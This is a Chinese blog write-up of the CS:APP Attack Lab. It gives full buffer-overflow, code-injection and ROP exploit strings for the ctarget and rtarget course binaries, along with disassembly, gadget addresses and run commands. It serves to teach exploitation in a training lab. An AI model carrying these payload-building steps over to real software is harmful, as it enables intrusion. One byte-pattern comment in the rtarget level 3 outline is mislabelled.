本文参考了以下blog:
blog1: 该文博主主要运用gdb解题,且对该lab有较全面的介绍
blog2: 该文的图很形象,有助于更好地理解attacklab
blog3: 该文解答思路详细,可供参考理解
target解题
前期准备
- 认真阅读 attacklab 指导解题的 pdf !!!
敲黑板划重点!否则就可能解题解得云里雾里的,不知道自己在干嘛,参考别人的blog时还会好奇他这信息哪来的…会别问我怎么知道的,小菜鸡血的教训,再不敢不看pdf直接做题了=.= - 输入:objdump -d ctarget > ctarget_asm.txt
和 objdump -d rtarget > rtarget_asm.txt
分别将 ctarget,rtarget 反汇编而后重定向至 ctarget_asm.txt 和 rtarget_asm.txt 文件保存。打开即可查看汇编语言下的代码。
ctarget
level 1
- 结合上图 pdf 中给出的信息,又由 getbuf 中第一条指令可知,它创建了大小为 0x28 的缓冲区,即40字节。当输入的字符串长度超过 40 时,会造成缓冲区溢出,因此先任意填充前40字节。
00000000004018b9 <getbuf>:
4018b9: 48 83 ec 28 sub $0x28,%rsp
4018bd: 48 89 e7 mov %rsp,%rdi
4018c0: e8 7e 02 00 00 callq 401b43 <Gets>
4018c5: b8 01 00 00 00 mov $0x1,%eax
4018ca: 48 83 c4 28 add $0x28,%rsp
4018ce: c3 retq
- 又得知 touch 1 的起始地址为 0x4018cf ,
00000000004018cf <touch1>:
4018cf: 48 83 ec 08 sub $0x8,%rsp
...
故得到该小题的攻击字符:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 前40个字节任意填充
cf 18 40 00 00 00 00 00 // touch 1 地址
vim attack1.txt , 进入该文档中,输入攻击字符保存并退出。
- 调用 hex2raw 来执行 ctarget:
方法一:
先通过hex2raw将其转换为字符串: ./hex2raw < attack1.txt > attackraw1.txt
再执行程序: ./ctarget -q < attackraw1.txt (或用 -qi 也行)
在 peanwang——深入理解计算机系统attack lab
的blog中有给出必须使用-q的原因,如下图所示:
方法二:
直接输入: cat exploit.txt | ./hex2raw | ./ctarget -q 执行程序。
通过的界面如下图所示:
level 2
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
- 由上述 pdf 中给出的代码可知,要将 cookie 的值传给 %rdi ,然后利用缓冲区溢出部分修改函数的返回地址,使之返回到 touch 2 。
首先先找到 touch 2 的地址:0x4018fb
00000000004018fb <touch2>:
4018fb: 48 83 ec 08 sub $0x8,%rsp
...
- 即要进行如下操作:
movq $0x599051eb,%rdi //0x599051eb:cookie的值
pushq $0x4018fb
ret
将其转为汇编代码:
vim 将上述3行代码写入temp.s 中,
输入 gcc -c temp.s -o temp.o ,
objdump -d temp.o >2.txt
可用 cat 查看 2.txt 中内容,得到
- 接下来,利用 gdb 查看 $rsp ,即缓冲区的起始地址,操作如图:
整合下来,攻击代码为:
48 c7 c7 eb 51 90 59 68
fb 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 0c 68 55 00 00 00 00
存放于attack2.txt中。
level 3
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
由 pdf 中的代码可知,需传入 cookie 作为 sval 。
- 找到 touch 3 地址:0x401a0c
0000000000401a0c <touch3>:
401a0c: 53 push %rbx
...
- 类似第2问的解法,将以下代码转为汇编代码:
movq $0x55680cd8,%rdi
pushq $0x401a0c
ret
得:
- 之后加上 $rsp 的值,再加上 cookie 的值的字符串。
求 cookie 的值的字符串,可参照 该blog所说,用如下代码处理:
void raw2hex(char* raw_str) {
int len = strlen(raw_str);
printf("Output:");
for (int i = 0; i < len; ++i)
printf(" %x", raw_str[i]);
printf(" 00\n"); // add '\0' to the end
}
- 最终,整合攻击代码得:
48 c7 c7 d8 0c 68 55 68
0c 1a 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 0c 68 55 00 00 00 00
35 39 39 30 35 31 65 62
00
rtarget
rtarget 部分,主要需参考如下对照表:重点重点敲黑板
PS: 也可使用 !该网页! 来查看指令对应的编码 or 编码对应的指令。
- 如:输入 ret
- 再如:输入 599051eb
level 2
不同于 ctarget,rtarget 开启了地址随机化。先了解一下 pdf 中该部分的内容,可知会用到 gadget farm 中 start_farm 到 mid_farm 之间的函数来进行ROP攻击。
- 如下是 farm 的内容
0000000000401aa3 <start_farm>:
401aa3: b8 01 00 00 00 mov $0x1,%eax
401aa8: c3 retq
0000000000401aa9 <addval_201>:
401aa9: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401aaf: c3 retq
0000000000401ab0 <getval_377>:
401ab0: b8 58 c3 26 84 mov $0x8426c358,%eax
401ab5: c3 retq
0000000000401ab6 <addval_157>:
401ab6: 8d 87 48 89 c7 92 lea -0x6d3876b8(%rdi),%eax
401abc: c3 retq
0000000000401abd <addval_379>:
401abd: 8d 87 99 58 90 90 lea -0x6f6fa767(%rdi),%eax
401ac3: c3 retq
0000000000401ac4 <setval_250>:
401ac4: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
401aca: c3 retq
0000000000401acb <getval_392>:
401acb: b8 58 94 90 c3 mov $0xc3909458,%eax
401ad0: c3 retq
0000000000401ad1 <setval_329>:
401ad1: c7 07 48 90 90 c3 movl $0xc3909048,(%rdi)
401ad7: c3 retq
0000000000401ad8 <getval_348>:
401ad8: b8 48 8d c7 c3 mov $0xc3c78d48,%eax
401add: c3 retq
0000000000401ade <mid_farm>:
401ade: b8 01 00 00 00 mov $0x1,%eax
401ae3: c3 retq
0000000000401ae4 <add_xy>:
401ae4: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401ae8: c3 retq
0000000000401ae9 <getval_234>:
401ae9: b8 a9 ca 84 d2 mov $0xd284caa9,%eax
401aee: c3 retq
0000000000401aef <getval_358>:
401aef: b8 81 ca 20 db mov $0xdb20ca81,%eax
401af4: c3 retq
0000000000401af5 <setval_233>:
401af5: c7 07 89 d6 c2 87 movl $0x87c2d689,(%rdi)
401afb: c3 retq
0000000000401afc <getval_405>:
401afc: b8 48 89 e0 94 mov $0x94e08948,%eax
401b01: c3 retq
0000000000401b02 <setval_128>:
401b02: c7 07 89 c1 48 c9 movl $0xc948c189,(%rdi)
401b08: c3 retq
0000000000401b09 <addval_182>:
401b09: 8d 87 89 ca 90 c3 lea -0x3c6f3577(%rdi),%eax
401b0f: c3 retq
0000000000401b10 <addval_443>:
401b10: 8d 87 48 89 e0 92 lea -0x6d1f76b8(%rdi),%eax
401b16: c3 retq
0000000000401b17 <getval_361>:
401b17: b8 81 c1 38 c9 mov $0xc938c181,%eax
401b1c: c3 retq
0000000000401b1d <getval_122>:
401b1d: b8 89 c1 48 d2 mov $0xd248c189,%eax
401b22: c3 retq
0000000000401b23 <getval_172>:
401b23: b8 48 89 e0 c7 mov $0xc7e08948,%eax
401b28: c3 retq
0000000000401b29 <setval_111>:
401b29: c7 07 8d ca 20 c9 movl $0xc920ca8d,(%rdi)
401b2f: c3 retq
0000000000401b30 <setval_323>:
401b30: c7 07 89 c1 90 90 movl $0x9090c189,(%rdi)
401b36: c3 retq
0000000000401b37 <getval_299>:
401b37: b8 8d d6 84 c9 mov $0xc984d68d,%eax
401b3c: c3 retq
0000000000401b3d <addval_384>:
401b3d: 8d 87 3f 81 d6 c3 lea -0x3c297ec1(%rdi),%eax
401b43: c3 retq
0000000000401b44 <addval_330>:
401b44: 8d 87 09 ca 38 db lea -0x24c735f7(%rdi),%eax
401b4a: c3 retq
0000000000401b4b <addval_312>:
401b4b: 8d 87 89 d6 18 d2 lea -0x2de72977(%rdi),%eax
401b51: c3 retq
0000000000401b52 <setval_169>:
401b52: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)
401b58: c3 retq
0000000000401b59 <addval_236>:
401b59: 8d 87 89 c1 18 c9 lea -0x36e73e77(%rdi),%eax
401b5f: c3 retq
0000000000401b60 <addval_493>:
401b60: 8d 87 49 89 e0 90 lea -0x6f1f76b7(%rdi),%eax
401b66: c3 retq
0000000000401b67 <setval_210>:
401b67: c7 07 89 d6 28 c9 movl $0xc928d689,(%rdi)
401b6d: c3 retq
0000000000401b6e <setval_193>:
401b6e: c7 07 3d 89 d6 c3 movl $0xc3d6893d,(%rdi)
401b74: c3 retq
0000000000401b75 <setval_339>:
401b75: c7 07 8b ca 84 db movl $0xdb84ca8b,(%rdi)
401b7b: c3 retq
0000000000401b7c <setval_459>:
401b7c: c7 07 89 ca 90 c3 movl $0xc390ca89,(%rdi)
401b82: c3 retq
0000000000401b83 <getval_170>:
401b83: b8 89 ca 18 c0 mov $0xc018ca89,%eax
401b88: c3 retq
0000000000401b89 <getval_458>:
401b89: b8 88 c1 38 d2 mov $0xd238c188,%eax
401b8e: c3 retq
0000000000401b8f <addval_244>:
401b8f: 8d 87 38 89 c1 c2 lea -0x3d3e76c8(%rdi),%eax
401b95: c3 retq
0000000000401b96 <getval_416>:
401b96: b8 dc 48 a9 e0 mov $0xe0a948dc,%eax
401b9b: c3 retq
0000000000401b9c <addval_467>:
401b9c: 8d 87 d2 48 89 e0 lea -0x1f76b72e(%rdi),%eax
401ba2: c3 retq
0000000000401ba3 <getval_400>:
401ba3: b8 8b d6 38 d2 mov $0xd238d68b,%eax
401ba8: c3 retq
0000000000401ba9 <getval_223>:
401ba9: b8 89 d6 20 c0 mov $0xc020d689,%eax
401bae: c3 retq
0000000000401baf <addval_380>:
401baf: 8d 87 08 89 e0 c3 lea -0x3c1f76f8(%rdi),%eax
401bb5: c3 retq
0000000000401bb6 <addval_301>:
401bb6: 8d 87 a9 79 89 c1 lea -0x3e768657(%rdi),%eax
401bbc: c3 retq
0000000000401bbd <end_farm>:
401bbd: b8 01 00 00 00 mov $0x1,%eax
401bc2: c3 retq
- 同 ctarget 的 level 2 一样,要将 cookie 传给 %rdi ,并返回到 touch2
在 ctarget level 2 中,是 movq $0x599051eb,%rdi 然后 pushq $0x4018fb。
但在 rtarget 中,不可能这样操作,只能通过栈将 cookie 传给 %rdi,即 popq %rax, movq %rax,%rdi。
58 //popq %rax (上方大表中有给出)
90 //nop
c3 //ret
寻找 “ 58 90 c3 ” , 地址为 0x401abf
注意:
1、nop是一个空操作,只是让程序计数器加一,该指令编码为0x90。
2、2字节指令可以作为有功能的nop,不改变任何寄存器或内存的值。具体见下图给出的操作符。
因此他们并不影响
- 对照上方表
movq %rax,%rdi // 48 89 c7
ret //c3
故在函数中找 “ 48 89 c7 c3” , 地址为 0x401ac6
- 攻击代码:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 前40个字节填充任意字符
bf 1a 40 00 00 00 00 00 // popq %rax
eb 51 90 59 00 00 00 00 // cookie
c6 1a 40 00 00 00 00 00 // movq %rax,%rdi
fb 18 40 00 00 00 00 00 // touch 2 地址
level 3
- 同上一问的解法,这题解题顺序如下:
/* 前40个字节填充任意字符 */
movq %rsp,%rax // 找“ 48 89 e0 c3 ”
movq %rax,%rdi // 找“ 48 89 c7 c3 ”
popq %rax // 找“ 48 89 c7 c3 ”
xx 00 00 00 00 00 00 00 // offset
movl %eax,%ecx // 找“ 89 c1 c3 ”
movl %ecx,%edx // 找“ 89 ca c3 ”
movl %edx,%esi // 找“ 89 d6 c3 ”
lea (%rdi,%rsi,1),%rax // 找“ 48 8d 04 37 c3 ”
...
分别找到对应地址后,得到攻击代码:
(第 6 行跳转完后得到了 %rsp 的值(此时 %rsp 指向第 7 行),第 16 行是字符串的地址,因此偏移量 offset 的值为 8*9=72(即 0x48)。)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 前40个字节填充任意字符
54 1b 40 00 00 00 00 00 // movq %rsp,%rax
ab 1a 40 00 00 00 00 00 // movq %rax,%rdi
c0 1a 40 00 00 00 00 00 // popq %rax
48 00 00 00 00 00 00 00 // offset
ba 1b 40 00 00 00 00 00 // movl %eax,%ecx
7e 1b 40 00 00 00 00 00 // movl %ecx,%edx
71 1b 40 00 00 00 00 00 // movl %edx,%esi
e4 1a 40 00 00 00 00 00 // lea (%rdi,%rsi,1),%rax
ab 1a 40 00 00 00 00 00 // movq %rax,%rdi
0c 1a 40 00 00 00 00 00 // touch 3 地址
35 39 39 30 35 31 65 62 // cookie 值的字符串
00